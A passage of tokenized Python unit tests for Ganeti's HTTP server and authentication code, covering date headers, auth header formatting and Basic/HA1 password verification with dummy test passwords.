")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "line_", "=_", "http_", "._", "Http", "Server", "To", "Client", "Start", "Line_", "(_", "\"", "HTTP", "/", "1.1", "\"_", ",_", "200_", ",_", "\"", "OK", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "start", "\\u", "line_", ")_", ",_", "\"", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Mis", "c_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Mis", "cell", "ane", "ous", " ", "tests", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Mis", "c_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "Test", "Date", "Time", "Header_", "(_", "self_", ",_", "gm", "now_", ",_", "expected_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "http_", "._", "server_", "._", "\\u", "Date", "Time", "Header_", "(_", "gm", "now_", "=_", "gm", "now_", ")_", ",_", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Mis", "c_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Date", "Time", "Header_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "gane", "ti", ".", "http", ".\\u", "Date", "Time", "Head", "er", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Test", "Date", "Time", "Header_", "(_", "(_", "2008_", ",_", "1_", ",_", "2_", ",_", "3_", ",_", "4_", ",_", "5_", ",_", "3_", ",_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Thu", ",", " ", "02", " ", "Jan", " ", "2008", " ", "03", ":", "04", ":", "05", " ", "GM", "T", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Test", "Date", "Time", "Header_", "(_", "(_", "2008_", ",_", "1_", ",_", "1_", ",_", "0_", ",_", "0_", ",_", "0_", ",_", "0_", ",_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mon", ",", " ", "01", " ", "Jan", " ", "2008", " ", "00", ":", "00", ":", "00", " ", "GM", "T", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Test", "Date", "Time", "Header_", "(_", "(_", "2008_", ",_", "12_", ",_", "31_", ",_", "0_", ",_", "0_", ",_", "0_", ",_", "0_", ",_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mon", ",", " ", "3", "1", " ", "De", "c", " ", "2008", " ", "00", ":", "00", ":", "00", " ", "GM", "T", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Test", "Date", "Time", "Header_", "(_", "(_", "2008_", ",_", "12_", ",_", "31_", ",_", "23_", ",_", "59_", ",_", "59_", ",_", "0_", ",_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mon", ",", " ", "3", "1", " ", "De", "c", " ", "2008", " ", "23", ":", "5", "9", ":", "5", "9", " ", "GM", "T", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Test", "Date", "Time", "Header_", "(_", "(_", "2008_", ",_", "12_", ",_", "31_", ",_", "0_", ",_", "0_", ",_", "0_", ",_", "6_", ",_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Sun", ",", " ", "3", "1", " ", "De", "c", " ", "2008", " ", "00", ":", "00", ":", "00", " ", "GM", "T", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Mis", "c_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Http", "Server", "Request_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "gane", "ti", ".", "http", ".", "server", ".\\u", "Http", "Server", "Request", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "\\u", "request_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "None_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "se", " ", "are", " ", "expected", " ", "by", " ", "users", " ", "of", " ", "the", " ", "HTTP", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "hasattr_", "(_", "server", "\\u", "request_", ",_", "\"", "request", "\\u", "method", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "hasattr_", "(_", "server", "\\u", "request_", ",_", "\"", "request", "\\u", "path", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "hasattr_", "(_", "server", "\\u", "request_", ",_", "\"", "request", "\\u", "header", "s", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "hasattr_", "(_", "server", "\\u", "request_", ",_", "\"", "request", "\\u", "body", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "isinstance_", "(_", "server", "\\u", "request_", "._", "resp", "\\u", "headers_", ",_", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "hasattr_", "(_", "server", "\\u", "request_", ",_", "\"", "private", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Mis", "c_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Server", "Size", "Limits_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "HTTP", " ", "server", " ", "size", " ", "limit", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "reader", "\\u", "class_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Client", "To", "Server", "Messag", "e", "Reader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "message", "\\u", "reader", "\\u", "class_", "._", "START", "\\u", "LINE", "\\u", "LENGTH", "\\u", "MAX_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "message", "\\u", "reader", "\\u", "class_", "._", "HEAD", "ER", "\\u", "LENGTH", "\\u", "MAX_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Mis", "c_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Format", "Auth", "Header_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "http_", "._", "auth_", "._", "\\u", "Format", "Auth", "Header_", "(_", "\"", "Basic", "\"_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Basic", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "http_", "._", "auth_", "._", "\\u", "Format", "Auth", "Header_", "(_", "\"", "Basic", "\"_", ",_", "{_", "\"", "foo", "\"_", ":_", "\"", "bar", "\"_", ",_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Basic", " ", "foo", "=", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "http_", "._", "auth_", "._", "\\u", "Format", "Auth", "Header_", "(_", "\"", "Basic", "\"_", ",_", "{_", "\"", "foo", "\"_", ":_", "\"\"_", ",_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Basic", " ", "foo", "=\\\\\"", "\\\\\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "http_", "._", "auth_", "._", "\\u", "Format", "Auth", "Header_", "(_", "\"", "Basic", "\"_", ",_", "{_", "\"", "foo", "\"_", ":_", "\"", "x", ",", "y", "\"_", ",_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Basic", " ", "foo", "=\\\\\"", "x", ",", "y", "\\\\\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "foo", "\"_", ":_", "\"", "x", ",", "y", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "real", "m", "\"_", ":_", "\"", "secure", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "It", "'", "s", " ", "a", " ", "dict", " ", "who", "se", " ", "order", " ", "isn", "'", "t", " ", "guaran", "tee", "d", ",", " ", "hen", "ce", " ", "checking", " ", "a", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "http_", "._", "auth_", "._", "\\u", "Format", "Auth", "Header_", "(_", "\"", "Dig", "est", "\"_", ",_", "params_", ")_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "Dig", "est", " ", "foo", "=\\\\\"", "x", ",", "y", "\\\\\"", " ", "real", "m", "=", "secure", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Dig", "est", " ", "real", "m", "=", "secure", " ", "foo", "=\\\\\"", "x", ",", "y", "\\\\\"\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "\\u", "Fake", "Request", "Auth_", "(_", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Fake", "Request", "Auth_", "(_", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "realm_", ",_", "auth", "req_", ",_", "authenticator", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "realm_", "=_", "realm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "auth", "req_", "=_", "auth", "req_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "authenticator", "_", "=_", "authenticator", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Fake", "Request", "Auth_", "(_", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Auth", "entica", "tion", "Required_", "(_", "self_", ",_", "req_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "auth", "req_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Fake", "Request", "Auth_", "(_", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Get", "Auth", "Realm", "_", "(_", "self_", ",_", "req_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "realm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Fake", "Request", "Auth_", "(_", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Auth", "entica", "te_", "(_", "self_", ",_", "req_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler", "\\u", "access_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "authenticator", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "authenticator", "_", "._", "Validate", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "req_", ",_", "handler", "\\u", "access_", ",_", "self_", "._", "Get", "Auth", "Realm", "_", "(_", "req_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Auth_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Auth", "entica", "tion", " ", "tests", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "hs", "ra_", "=_", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Auth_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test", "Constants_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "scheme_", "in_", "[_", "self_", "._", "hs", "ra_", "._", "\\u", "CLEAR", "TEXT", "\\u", "SCHEME", "_", ",_", "self_", "._", "hs", "ra_", "._", "\\u", "HA", "1", "\\u", "SCHEME", "_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "scheme_", ",_", "scheme_", "._", "upper_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "scheme_", "._", "startswith_", "(_", "\"{\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "scheme_", "._", "endswith_", "(_", "\"}\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Auth_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Verify", "Basic", "Auth", "Password_", "(_", "self_", ",_", "realm_", ",_", "user_", ",_", "password_", ",_", "expected_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "realm_", ",_", "False_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "ra_", "._", "Verify", "Basic", "Auth", "Password_", "(_", "user_", ",_", "password_", ",_", "expected_", ",_", "realm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Auth_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Verify", "Basic", "Auth", "Password_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tv", "ba", "p_", "=_", "self_", "._", "\\u", "test", "Verify", "Basic", "Auth", "Password_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "good", "\\u", "pw", "s_", "=_", "[_", "\"", "pw", "\"_", ",_", "\"", "pw", "{\"_", ",_", "\"", "pw", "}\"_", ",_", "\"", "pw", "{}\"_", ",_", "\"", "pw", "{", "x", "}", "y", "\"_", ",_", "\"}", "pw", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "0", "\"_", ",_", "\"", "123", "\"_", ",_", "\"", "foo", "...", ":", "xyz", "\"_", ",_", "\"", "Te", "ST", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "pw_", "in_", "good", "\\u", "pw", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Tr", "y", " ", "clear", "text", " ", "passwords", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert\\u_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "pw_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "\"{", "clear", "text", "}\"_", "+_", "pw_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "\"{", "Clear", "Text", "}\"_", "+_", "pw_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "\"{", "CLEAR", "TEXT", "}\"_", "+_", "pw_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "with", " ", "invalid", " ", "password_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "\"", "somet", "hing", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "with", " ", "invalid", " ", "scheme_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "\"{", "000", "}\"_", "+_", "pw_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "\"{", "unk", "}\"_", "+_", "pw_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "\"{", "Un", "k", "}\"_", "+_", "pw_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "pw_", ",_", "\"{", "UNK", "}\"_", "+_", "pw_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "with", " ", "invalid", " ", "sche", "me", " ", "format_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "abc", "\"_", ",_", "\"", "user", "\"_", ",_", "\"", "pw", "\"_", ",_", "\"{", "somet", "hing", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Hash", " ", "is", " ", "MD", "5", "(\"", "user", ":", "Thi", "s", " ", "is", " ", "only", " ", "a", " ", "test", ":", "pw", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "tv", "ba", "p_", "(_", "\"", "Thi", "s", " ", "is", " ", "only", " ", "a", " ", "test", "\"_", ",_", "\"", "user", "\"_", ",_", "\"", "pw", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "ha", "1", "}", "9", "2e", "a5", "8a", "e8", "044", "814", "98", "c2", "5", "7b", "2f", "655", "6", "1a", "1", "7", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "tv", "ba", "p_", "(_", "\"", "Thi", "s", " ", "is", " ", "only", " ", "a", " ", "test", "\"_", ",_", "\"", "user", "\"_", ",_", "\"", "pw", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "HA", "1", "}", "9", "2e", "a5", "8a", "e8", "044", "814", "98", "c2", "5", "7b", "2f", "655", "6", "1a", "1", "7", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Assert", "ion", "Error_", ",_", "tv", "ba", "p_", ",_", "None_", ",_", "\"", "user", "\"_", ",_", "\"", "pw", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "HA", "1", "}", "9", "2e", "a5", "8a", "e8", "044", "814", "98", "c2", "5", "7b", "2f", "655", "6", "1a", "1", "7", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "Admi", "n", " ", "area", "\"_", ",_", "\"", "user", "\"_", ",_", "\"", "pw", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "HA", "1", "}", "9", "2e", "a5", "8a", "e8", "044", "814", "98", "c2", "5", "7b", "2f", "655", "6", "1a", "1", "7", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "Thi", "s", " ", "is", " ", "only", " ", "a", " ", "test", "\"_", ",_", "\"", "some", "one", "\"_", ",_", "\"", "pw", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "HA", "1", "}", "9", "2e", "a5", "8a", "e8", "044", "814", "98", "c2", "5", "7b", "2f", "655", "6", "1a", "1", "7", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "tv", "ba", "p_", "(_", "\"", "Thi", "s", " ", "is", " ", "only", " ", "a", " ", "test", "\"_", ",_", "\"", "user", "\"_", ",_", "\"", "somet", "hing", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "HA", "1", "}", "9", "2e", "a5", "8a", "e8", "044", "814", "98", "c2", "5", "7b", "2f", "655", "6", "1a", "1", "7", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "\\u", "Simple", "Authenticator", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Simple", "Authenticator", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "user_", ",_", "password_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "user_", "=_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "password_", "=_", "password_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "called_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Simple", "Authenticator", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Validate", "Request_", "(_", "self_", ",_", "req_", ",_", "handler", "\\u", "access_", ",_", "realm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "called_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "username_", ",_", "password_", "=_", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", "._", "Extract", "User", "Password_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "username_", "is_", "None_", "or_", "password_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "self_", "._", "user_", "==_", "username_", "and_", 